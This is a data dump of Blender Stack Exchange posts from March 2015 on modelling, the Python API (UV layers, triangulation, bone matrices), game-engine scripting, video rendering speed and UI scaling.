  <row Id="27001" PostTypeId="1" AcceptedAnswerId="27003" CreationDate="2015-03-11T09:13:44.333" Score="0" ViewCount="1810" Body="&lt;p&gt;I'm trying to update an old script and I'm near to achieve my goal but I'm locking at getting uv coordinates because the old script used the texture assigned using the UV image editor and the new one need to use the texture assigned with material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the thing I don't find is how to get the uv as easy as the vertex coordinates.&#xA;This is the code I have to get faces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;face_count = len(self.ob.data.polygons)&#xA;print(&quot;face count: &quot;+str(face_count))&#xA;&#xA;for f_index in range(face_count):&#xA;    uv_polygon = self.ob.data.polygons[f_index]&#xA;&#xA;    vertices = []&#xA;    # export the triangle&#xA;    for i in range(3):&#xA;        vertices.append([self.ob.data.vertices[uv_polygon.vertices[i]],&#xA;                        self.ob.data.uv[uv_polygon.vertices[i]]])&#xA;    try:&#xA;        Face(vertices, uv_polygon.material_index)&#xA;    except:&#xA;        Face(vertices, -1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error appears here: self.ob.data.uv[ uv_polygon.vertices[i] ]&#xA;because uv is not an attribute of mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13067" LastActivityDate="2015-03-11T10:06:14.920" Title="'Mesh' object has no attribute 'uv'" Tags="&lt;python&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27002" PostTypeId="2" ParentId="26974" CreationDate="2015-03-11T09:34:03.080" Score="5" Body="&lt;p&gt;With this technique you can add half-circles anywhere on your &lt;strong&gt;existing&lt;/strong&gt; geometry:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Cube and scale it 1.5 in X axis - &lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;+&lt;kbd&gt;1.5&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/38GHI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure not to scale it in objectmode. If you do apply the scale with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select 2 front edges and Bevel them - &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;. Adjust &lt;em&gt;Segments&lt;/em&gt; with mousewheel and type &lt;kbd&gt;1&lt;/kbd&gt; for the &lt;em&gt;Offset&lt;/em&gt; - it will create a perfect half-circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkvpH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;em&gt;Remove Doubles&lt;/em&gt;. Enjoy:)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-03-11T13:20:38.550" LastActivityDate="2015-03-11T13:20:38.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27003" PostTypeId="2" ParentId="27001" CreationDate="2015-03-11T10:06:14.920" Score="2" Body="&lt;p&gt;UV coordinates are stored in &lt;code&gt;ob.data.uv_layers.active.data[loop_index].uv&lt;/code&gt; since the mesh system update (NGons are supported from 2.63 on). Note that a loop index is required, not a vertex index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV textures are stored in &lt;code&gt;ob.data.uv_textures.active.data[face_index].image&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/info_gotcha.html#ngons-and-tessellation-faces&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_73_release/info_gotcha.html#ngons-and-tessellation-faces&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wanna use the tessface mesh (triangles and quads) for your export. Don't forget to triangulate quads, your original code doesn't seem to handle them at all. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/blender-cod/source/browse/blender_26/export_xmodel.py#518&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/blender-cod/source/browse/blender_26/export_xmodel.py#518&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-11T10:06:14.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27004" PostTypeId="2" ParentId="27000" CreationDate="2015-03-11T10:20:01.797" Score="1" Body="&lt;p&gt;Go in edit mode with &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;br&gt;&#xA;Select a loop where you want a cut with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/leWPR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;hit &lt;kbd&gt;V&lt;/kbd&gt; to cut and &lt;kbd&gt;RMB&lt;/kbd&gt; to cancel movement&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qz0zm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Repeat this all along your mesh on the same axis&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4LCJf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Now on the other axis, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; the 1st loop and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; to add the cut loops to your selection&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WN3N7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;hit &lt;kbd&gt;V&lt;/kbd&gt; to cut and &lt;kbd&gt;RMB&lt;/kbd&gt; to cancel movement, repeat on the same axis&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vUvJy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You can select each separate part with mouse over and &lt;kbd&gt;L&lt;/kbd&gt; but...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QQKOL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Select all with &lt;kbd&gt;A&lt;/kbd&gt; and hit &lt;kbd&gt;P&lt;/kbd&gt; then select by &lt;em&gt;loose part&lt;/em&gt; in the separate menu&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cCgsi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;now every square is a separate object sharing the same material and keeping the UV&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R8SWs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Don't forget to change the origins if needed, by default they'll use the base object's origin.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-11T10:20:01.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27007" PostTypeId="1" AcceptedAnswerId="27289" CreationDate="2015-03-11T13:57:42.347" Score="9" ViewCount="20816" Body="&lt;p&gt;When rendering a simple video in FullHD right now (one video track, one audio track), the encoding process takes about one second per frame. Let's say I'd like to render a 5-minute clip in 24fps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5*60*24 = 7200 frames&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1s per frame = 7200/60 = 120 minutes of rendering time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems very slow to me. Is there a way to speed up this process? Mabye use different codec? Or maybe I should render to RAW file and then encode it using an external tool? Right now I'm using x.264 coded with default settings.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-03-18T03:37:39.097" Title="How to speed up Blender Video Sequence Editor rendering?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ClosedDate="2016-09-12T22:51:23.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="27010" PostTypeId="1" CreationDate="2015-03-11T16:38:19.127" Score="0" ViewCount="38" Body="&lt;p&gt;How can i join different Faces, to texturize them better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g2a4t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13068" LastActivityDate="2015-03-11T16:38:19.127" Title="Join different Faces of one Mesh" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-11T16:44:37.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="27011" PostTypeId="2" ParentId="26694" CreationDate="2015-03-11T17:08:50.317" Score="2" Body="&lt;p&gt;Thanks to mont29's hint I have found a solution:&#xA;A bone seems to have two representations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context.active_pose_bone.matrix_basis&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;armature&amp;gt;.data.bones[x].matrix_local&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Dependant on the context (pose mode/object mode) one sees the one or the other. There is a rotation by pi/2 around the x-axis and an offset of 1 in the z-axis between them. Here is the sample code from above again, the correction to make the second matrix equal to the first is added at the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;import math&#xA;&#xA;#------------------------------------------------------&#xA;# Make a parent hierarchy&#xA;# cube -&amp;gt; cone -&amp;gt; cylinder&#xA;# &quot;-&amp;gt;&quot; means &quot;is child of&quot;&#xA;#------------------------------------------------------&#xA;&#xA;# Delete the scene:&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete()&#xA;&#xA;# Create a cylinder at location (2, 3, 4):&#xA;bpy.ops.mesh.primitive_cylinder_add(location=(2, 3, 4))&#xA;&#xA;# Create a cone and make it the cylinder's child at the same position:&#xA;bpy.ops.mesh.primitive_cone_add(location=(2, 3, 4))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Cylinder&quot;]&#xA;bpy.ops.object.parent_set(type='OBJECT')&#xA;&#xA;# Create a cube at (0, 0, 0) and make it the cone's child:&#xA;bpy.ops.mesh.primitive_cube_add(location=(0, 0, 0))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Cone&quot;]&#xA;bpy.ops.object.parent_set(type='OBJECT')&#xA;&#xA;# Print the cube's parent inverse matrix:&#xA;cmpi=bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse&#xA;print(&quot;cmpi:&quot;)&#xA;print(cmpi)&#xA;&#xA;#------------------------------------------------------&#xA;# Make a parent hierarchy&#xA;# cube -&amp;gt; bone -&amp;gt; armature&#xA;# &quot;-&amp;gt;&quot; means &quot;is child of&quot;&#xA;#------------------------------------------------------&#xA;&#xA;# Delete the scene:&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete()&#xA;&#xA;# Create an armature at (2, 3, 4), a bone is created automatically as child:&#xA;bpy.ops.object.armature_add(location=(2, 3, 4))&#xA;&#xA;# Create a cube at (0, 0, 0) and make it the bone's child:&#xA;bpy.ops.mesh.primitive_cube_add(location=(0, 0, 0))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Armature&quot;]&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;bpy.ops.object.parent_set(type='BONE')&#xA;&#xA;# Print the cube's parent inverse matrix:&#xA;mpi=bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse&#xA;print(&quot;mpi:&quot;)&#xA;print(mpi)&#xA;&#xA;#------------------------------------------------------&#xA;# The correction to make the second matrix equal to&#xA;# the first&#xA;#------------------------------------------------------&#xA;&#xA;ri=mathutils.Matrix.Rotation(math.pi/2, 4, 'X').inverted()&#xA;ti=mathutils.Matrix.Translation(mathutils.Vector((0,0,1))).inverted()&#xA;mpii=mpi.inverted()&#xA;mpiiriti=mpii*ri*ti&#xA;mpiiritii=mpiiriti.inverted()&#xA;print(&quot;mpiiritii:&quot;)&#xA;print(mpiiritii)&#xA;&#xA;# Output (some formatting added by hand):&#xA;#&#xA;# cmpi:&#xA;# &amp;lt;Matrix 4x4 ( 1.0000,  0.0000,  0.0000, -2.0000)&#xA;#             ( 0.0000,  1.0000,  0.0000, -3.0000)&#xA;#             ( 0.0000,  0.0000,  1.0000, -4.0000)&#xA;#             ( 0.0000,  0.0000,  0.0000,  1.0000)&amp;gt;&#xA;# mpi:&#xA;# &amp;lt;Matrix 4x4 ( 1.0000,  0.0000,  0.0000, -2.0000)&#xA;#             ( 0.0000,  0.0000,  1.0000, -5.0000)&#xA;#             ( 0.0000, -1.0000,  0.0000,  3.0000)&#xA;#             ( 0.0000,  0.0000,  0.0000,  1.0000)&amp;gt;&#xA;# mpiiritii:&#xA;# &amp;lt;Matrix 4x4 ( 1.0000, -0.0000,  0.0000, -2.0000)&#xA;#             (-0.0000,  1.0000,  0.0000, -3.0000)&#xA;#             ( 0.0000, -0.0000,  1.0000, -4.0000)&#xA;#             (-0.0000,  0.0000, -0.0000,  1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2015-03-11T17:08:50.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27012" PostTypeId="1" AcceptedAnswerId="27050" CreationDate="2015-03-11T17:14:27.037" Score="0" ViewCount="434" Body="&lt;p&gt;How can i limit the script trigger to once per pulse ex. i want to  sub  1 from INT from OBJ  once when BOOL is true and RAY(sensor) is generating true pulse(with OBJ detected via RAY).It just keeps subtracting 1 from INT every tick. I tried to give RAY false pulse mode, but when RAY is detecting OBJ and after 1 sec BOOL becomes True ,it wont work.                   &lt;/p&gt;&#xA;" OwnerUserId="12874" LastActivityDate="2015-03-12T14:51:36.770" Title="How to trigger script once?" Tags="&lt;python&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27013" PostTypeId="1" CreationDate="2015-03-11T18:23:54.573" Score="1" ViewCount="261" Body="&lt;p&gt;my blender version is 2.70.&lt;br/&gt;&#xA;I've come to a situation where I'm in serious need of reactor particles but I've discovered that they've been deprecated since version 2.5x &amp;amp; I can't find any good solution to that.&#xA;&lt;br/&gt;&#xA;Now I'm wondering: How can reactor particles be used in 2.70?&lt;/p&gt;&#xA;" OwnerUserId="13111" LastActivityDate="2015-03-11T18:23:54.573" Title="Why have reactor particles been deprecated since blender 2.5?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27015" PostTypeId="1" CreationDate="2015-03-11T19:21:29.850" Score="1" ViewCount="5281" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mo3Sk.png&quot; alt=&quot;enter image description here&quot;&gt;I've been playing around with blender today, and now suddenly, I'm no lenger able to get a preview window of the sequence editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just shows a black screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a videotrack so there should(?) be some output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Suddenly realized there is no audio either.&lt;/p&gt;&#xA;" OwnerUserId="13115" LastEditorUserId="13115" LastEditDate="2015-03-11T19:27:00.620" LastActivityDate="2018-01-31T18:43:18.713" Title="no video in video sequence window" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27016" PostTypeId="1" AcceptedAnswerId="27018" CreationDate="2015-03-11T19:43:09.783" Score="54" ViewCount="51344" Body="&lt;p&gt;The Blender UI elements are incredibly small by default on high resolution screens on Windows (15&quot; UHD screen).  I found the Preferences -&gt; System -&gt; DPI setting which can be set up to 144.  This makes Blender usable, but still uncomfortable and difficult on the eyes.  Is there a way to make the UI elements even larger? &lt;/p&gt;&#xA;" OwnerUserId="13116" LastEditorDisplayName="user1853" LastEditDate="2016-02-15T17:09:44.203" LastActivityDate="2020-07-24T22:25:31.293" Title="Make Blender usable on high resolution screen" Tags="&lt;interface&gt;&lt;windows&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="27017" PostTypeId="2" ParentId="27016" CreationDate="2015-03-11T19:50:52.997" Score="16" Body="&lt;p&gt;Hover the cursor over one of the panels and hit &lt;kbd&gt;Numpad +&lt;/kbd&gt; or &lt;kbd&gt;Numpad -&lt;/kbd&gt; keys on the keyboard to change the size of the font and UI elements.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="3710" LastEditDate="2015-03-12T13:33:05.410" LastActivityDate="2015-03-12T13:33:05.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27018" PostTypeId="2" ParentId="27016" CreationDate="2015-03-11T19:51:46.913" Score="63" Body="&lt;p&gt;To make the UI elements even larger you can choose &lt;strong&gt;Double&lt;/strong&gt; under the &lt;strong&gt;Virtual Pixel mode&lt;/strong&gt;&#xA;this option is in &lt;strong&gt;User_Preferences-&gt;system&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/flRo4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-11T19:51:46.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27021" PostTypeId="1" AcceptedAnswerId="27026" CreationDate="2015-03-11T20:24:36.050" Score="1" ViewCount="396" Body="&lt;p&gt;I'm making an export script and I want only triangles (no quads or other polygons). To avoid wheel reinvention I'd like to call the &quot;triangulate faces&quot; command (ctrl t while object selected in edit mode) in order to force uniformity before exporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not a supported feature I'd be fine popping up a dialog box of some sort warning the user that non triangles were found in the file and won't be included in the export (which I also don't know how to do.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A working python example of either would be great.&lt;/p&gt;&#xA;" OwnerUserId="13102" LastActivityDate="2015-03-11T21:54:46.727" Title="Force triangles only (or warn user) before exporting with built in blender functions" Tags="&lt;scripting&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27022" PostTypeId="1" AcceptedAnswerId="27034" CreationDate="2015-03-11T20:30:01.503" Score="3" ViewCount="2130" Body="&lt;p&gt;I'm programming a game, and I have an empty that I want to be dropping enemies randomly throughout the map.  I have the following logic bricks and Python script right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;&#xA;def main():&#xA;&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;&#xA;    sens = cont.sensors['mySensor']&#xA;&#xA;    if sens.positive:&#xA;        own.worldPosition = [own['xPos'], own['yPos'], 30]&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2l7t5.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My empty is staying in the same place, but it is at least adding enemies every second.  How can I make the empty go to the random positions that are being generated by random actuator (I would have used the random module but it wasn't working last time I tried it).&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-03-12T00:05:33.493" LastActivityDate="2015-03-12T00:05:33.493" Title="Setting an object to a random position in the BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27024" PostTypeId="1" CreationDate="2015-03-11T21:12:01.300" Score="1" ViewCount="267" Body="&lt;p&gt;I'm using bpy to control a blender armature using Python. I am able to get the armature to rotate properly, but it is a very jumpy rotation, there is no smooth animation of any sort. Is there anyways to create a smooth animation in bpy? This is my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; poseTable = [&#xA;        ('finger1joint1', 'X', -5),&#xA;        ('finger1joint1', 'X', -5),&#xA;        ('finger1joint1', 'X', -5),&#xA;        ('finger1joint1', 'X', -5),&#xA;    ]&#xA;&#xA;for (bname, axis, angle) in poseTable:&#xA;    pbone = ob.pose.bones[bname]&#xA;    # Set rotation mode to Euler XYZ, easier to understand&#xA;    # than default quaternions&#xA;    pbone.rotation_mode = 'XYZ'&#xA;    # Documentation bug: Euler.rotate(angle,axis):&#xA;    # axis in ['x','y','z'] and not ['X','Y','Z']&#xA;    pbone.rotation_euler.rotate_axis(axis, math.radians(angle))&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13118" LastActivityDate="2015-03-11T21:12:01.300" Title="bpy armature smooth rotation animation" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27025" PostTypeId="1" AcceptedAnswerId="27027" CreationDate="2015-03-11T21:21:49.973" Score="6" ViewCount="2802" Body="&lt;p&gt;Coming from C4D, I'm having a very hard time with Blender. I want to use the extrude tool to extrude several edges into not connected new edges. In Cinema 4D this could be achieved by unchecking &quot;preserve groups&quot;. How do I do it in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short animation of what I mean:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BBfBV.gif&quot; alt=&quot;c4d vs blender extrude tool&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13117" LastActivityDate="2015-03-11T22:01:29.087" Title="Extruding multiple edges simultaneously but separately" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27026" PostTypeId="2" ParentId="27021" CreationDate="2015-03-11T21:54:46.727" Score="2" Body="&lt;p&gt;this script triangulates a model.  If you are in Edit mode it will switch to Object mode before triangulation takes place.  If you add &lt;code&gt;bpy.ops.object.mode_set(mode='EDIT')&lt;/code&gt; at the end of the script then it will return to Edit mode when completed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;&#xA;if bpy.context.selected_objects:&#xA;    for obj in bpy.context.selected_objects:&#xA;        bpy.context.scene.objects.active = obj&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;        obj = bpy.context.object&#xA;        me = obj.data&#xA;&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;        bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;&#xA;        bm.to_mesh(me)&#xA;        bm.free()&#xA;        del bm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-03-11T21:54:46.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27027" PostTypeId="2" ParentId="27025" CreationDate="2015-03-11T22:01:29.087" Score="5" Body="&lt;p&gt;The best I could come up with is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) Extrude and tapping &lt;kbd&gt;z&lt;/kbd&gt; to constrain to the z-axis.  (The constraint keys combined with Transformation Orientations are well put together in Blender so you should check into those as well.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) For some reason, using Rip &lt;kbd&gt;v&lt;/kbd&gt; doesn't work for the entire edge loop so I separated the Vertices a few edges at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii)  Scaling by normals separates them without distortion &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; so once the scaling was finished I used regular scaling to bring the edges back down.(again, constrained to 'z')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M910B.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-03-11T22:01:29.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27028" PostTypeId="2" ParentId="27016" CreationDate="2015-03-11T22:09:18.843" Score="33" Body="&lt;p&gt;Another thing that is very useful is to hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; and the Middle Mouse Button to rescale various panels.  This is the same for the 3D Viewport when zooming in or out to view a model.  The Outliner Area is the only place I've found so far where this does not function yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkJTk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By pressing the &lt;kbd&gt;HOME&lt;/kbd&gt; key on your keyboard, you can reset the resized panels back to the original default size.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-21T02:51:39.610" LastActivityDate="2015-05-21T02:51:39.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27030" PostTypeId="2" ParentId="26950" CreationDate="2015-03-11T22:47:17.663" Score="1" Body="&lt;p&gt;This currently only works for Blender Render(Internal) since it's used for displaying textures that are being baked to and Cycles uses the Active Texture node to do this instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until last year, it was also used for Texture Painting, now Materials are used for this instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever texture is assigned to the faces in the UV Image Editor is what will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEL0h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-03-11T22:47:17.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27032" PostTypeId="2" ParentId="27022" CreationDate="2015-03-11T23:49:02.143" Score="0" Body="&lt;p&gt;I would define a navmesh, and then loop through vertices and pick one on the nav mesh, and then do ray checks , so you know the actor will fit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentConroller()&#xA;own = cont.owner&#xA;&#xA;mesh = own.meshes[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will get you started down the path, check the python api and let me know if you need more help then this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;own.castRay(To,From,Distance,'property',NormalReturnType,Xray,PolyData)&#xA;bge.logic.getCurrentScene().addObject('object',object_to_add_@,time)&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-11T23:49:02.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27034" PostTypeId="2" ParentId="27022" CreationDate="2015-03-11T23:58:11.337" Score="1" Body="&lt;p&gt;The problem is that your script controller is on the &lt;code&gt;Enemy Dropper&lt;/code&gt; object and attempts to reference &lt;code&gt;mySensor&lt;/code&gt; which does not exist on that object. If you check the console, accessed by &lt;em&gt;Window&lt;/em&gt; &gt; &lt;em&gt;Toggle System Console&lt;/em&gt; (only on windows systems), you will see an error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last):&#xA;    File &quot;Setting Position.py&quot;, line 9, in &#xA;  KeyError: 'value = gameOb[key]: KX_GameObject, key &quot;mySensor&quot; does not exist'&#xA;  Python script error - object 'Enemy Dropper', controller 'Python':&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make it operable, add the &lt;code&gt;mySensor&lt;/code&gt; sensor to the &lt;code&gt;Enemy Dropper&lt;/code&gt; object's logic bricks.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-11T23:58:11.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
